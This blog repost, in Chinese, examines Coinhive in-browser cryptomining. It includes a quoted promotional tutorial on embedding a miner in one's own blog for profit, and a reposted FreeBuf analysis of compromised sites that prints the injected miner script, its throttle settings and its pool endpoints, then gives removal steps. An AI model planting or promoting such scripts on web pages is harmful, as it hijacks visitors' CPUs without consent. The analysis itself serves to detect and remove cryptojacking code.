其他分享
首页 > 其他分享> > coin-hive.com 网页挖矿分析

coin-hive.com 网页挖矿分析

作者:互联网

现象:http://youssef-rabbaoui.de/   any run里的分析:https://app.any.run/tasks/223aa545-5ba5-48dc-8a24-c46fd4a59f9d/  的确是看到dns请求了coin-hive.com 这个站点有网页挖矿,代码:
	var miner = new CoinHive.Anonymous('Bnt5BfEGPkhcJXWDSxQZNkZo346S1UCs', '$seite', { autoThreads: true });
	miner.start();

 

然后我看到一个文章如下,在自己的博客里加入挖矿:

100%(最新)Coinhive Javascript挖矿技巧(Monero)

今天,我将向您展示如何使用共同的Java脚本挖掘来挖掘monero(XMR)。

100%(最新)Working和Leitit Trick免费获得比特币金(促销)

100%(最新)Working和Leitit Trick免费获得比特币黄金(详细信息请中号发布)

必需的东西

  1. 博客/网站。 (Blogger.com)
  2. 希特莱普(点击这里注册)
  3. RankBoost升级(点击这里注册)
  4. CoinhiveMonero JavaScript挖掘。 (coinhive.com)

现在,我如何在短短两天内用(16.06 M哈希)在Coinhive上制作了0.00066674 XMR。

步骤1。

在Blogger.com上写博客

第2步。

在博客页面元素中嵌入Coinhive JavaScript

var miner = new CoinHive.Anonymous(’ YOUR_SITE_KEY ‘,{throttle:0.3});

//仅在非移动设备上启动,如果未选择退出
//最近14400秒(4小时)内:
如果(!miner.isMobile()&&!miner.didOptOut(14400)){
miner.start();
}

在脚本中添加站点密钥

站点密钥 (FVts76HFTOu6K8K7M3BAxZWlxgNTza85)

您会在设置>站点和API密钥>站点密钥(公共)中找到站点密钥。

第三步

加入这两个站点

  1. 希特莱普(点击这里注册)
  2. RankBoost升级(点击这里注册)

并将您的网站添加到这两个网站中。

并使TE访问者处于全屏模式。 随着流量的到来,您将从第一天开始就获得付款。

只是坐下来享受免费的钱。

所有图像都是我拍摄的屏幕截图。

赚取Extra Monero的奖金提示。

加入该网站Eobot(单击此处)。 索赔水龙头并将索赔金额转换为GHS采矿。 开始挖掘您想在eobot上使用的任何加密货币。

如果您想提高采矿能力,请加入此水龙头。

步骤1。

CoinPot(coinpot.co)

加入coinpot并开始使用您的浏览器以及博客/站点进行挖掘。

第2步。

并加入coinpot的子站点以赚取额外的硬币。

短跑
比特币
莱特币
比特币现金
狗狗币

第三步

将硬币换成硬币罐中的一个。 并将其发送给eobot。 然后再次用eobot采矿能力交换该硬币。

希望您喜欢合法的方法。 在下面发表评论。

  下面是原理分析,也就是说可以看到coinhive.com的域名请求!   CoinHive智能网页挖矿的二三事     si1ence 2018-08-18 04:07:40 496455 1

*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

0x0背景

挖矿目前已经成为黑帽子牟利的主要手段,最近上网偶然间发现部分网站被挂马后存在网页挖矿的行为,区别于常规病毒操作系统中挖矿行为,网页主要在网站上挂上恶意的JS脚本,访问该网站即触发挖矿动作。

目前很多网页挖矿主要以CoinHive的方式较多,一般挖矿用户以主动方式直接使用C或者其他语言构造的miner客户端进行CPU或GPU计算Hash。前端挖矿用户以被动或主动方式在不知情或知情情况下利用浏览者的CPU或GPU。

0x1现象

访问恶意网站时CPU飙升,关闭网站后回复正常水平。

图片1.png

关闭之后:

图片2.png

0x2源代码分析 

查看网页源代码可发现部分挖矿的代码,经过简单确定非手机浏览器后,即开始挖矿的动作。

图片3.png

浏览器进程占用了较大的CPU资源: 

图片4.png

查看浏览器进程中,可以在内存地址中发现有挖矿地址的痕迹:

图片5.png

主要引用的挖矿代码的详细都在引用的JS脚本当中,仅使用70%的CPU资源。 

<script src="https://coinhive.com/lib/coinhive.min.js"></script>

<script>

var miner = new CoinHive.Anonymous('Jgv7noixIKHmJ7IIhAR9jySAwG3ZU8vt', {throttle: 0.7});

if (!miner.isMobile() && !miner.didOptOut(14400)) {

miner.start();

}

</script>

Jgv7noixIKHmJ7IIhAR9jySAwG3ZU8vt:CoinHive 当中的钱包地址; 

throttle:浏览器占用CPU的阈值,调节到合适的阈值时用户会很难注意到浏览器的算力被滥用。 

coinhive.min.js源码如下:

图片6.png

挖矿脚本使用WebSocket与矿池进行通信,部分的矿池结点如下: 

wss://ws001.coinhive.com/proxy  

wss://ws002.coinhive.com/proxy  

wss://ws003.coinhive.com/proxy  

wss://ws004.coinhive.com/proxy  

wss://ws005.coinhive.com/proxy  

wss://ws006.coinhive.com/proxy  

wss://ws007.coinhive.com/proxy  

wss://ws008.coinhive.com/proxy  

wss://ws009.coinhive.com/proxy  

wss://ws010.coinhive.com/proxy  

wss://ws011.coinhive.com/proxy  

wss://ws012.coinhive.com/proxy

图片7.png

挖矿脚本允许自动调节线程数目: 

this._throttle=Math.max(0,Math.min(.99,this.params.throttle||0));

this._stopOnInvalidOptIn=false;

this._waitingForAuth=false;

this._selfTestSuccess=false;

this._verifyThread=null;

this._autoThreads={

enabled:!!this.params.autoThreads,

interval:null,

adjustAt:null,

adjustEvery:1e4,

stats:{}

};

this._tab={

ident:Math.random()*16777215|0,

mode:CoinHive.IF_EXCLUSIVE_TAB,g

race:0,

waitReconnect:0,

lastPingReceived:0,

interval:null

};

图片8.png

0x3 解决方法:

1.根据页面后查看网页源代码,搜索有关于CoinHive,Miner等关键字可以快速定位到界面,使用记事本或者网页编辑器删除挖矿的关键代码。

2.访问小电影网站时候多留心自己的CPU性能。

*本文作者si1ence,转载请注明来自FreeBuf.COM

标签:miner,hive,coinhive,wss,proxy,coin,com,挖矿
来源: https://www.cnblogs.com/bonelee/p/16485245.html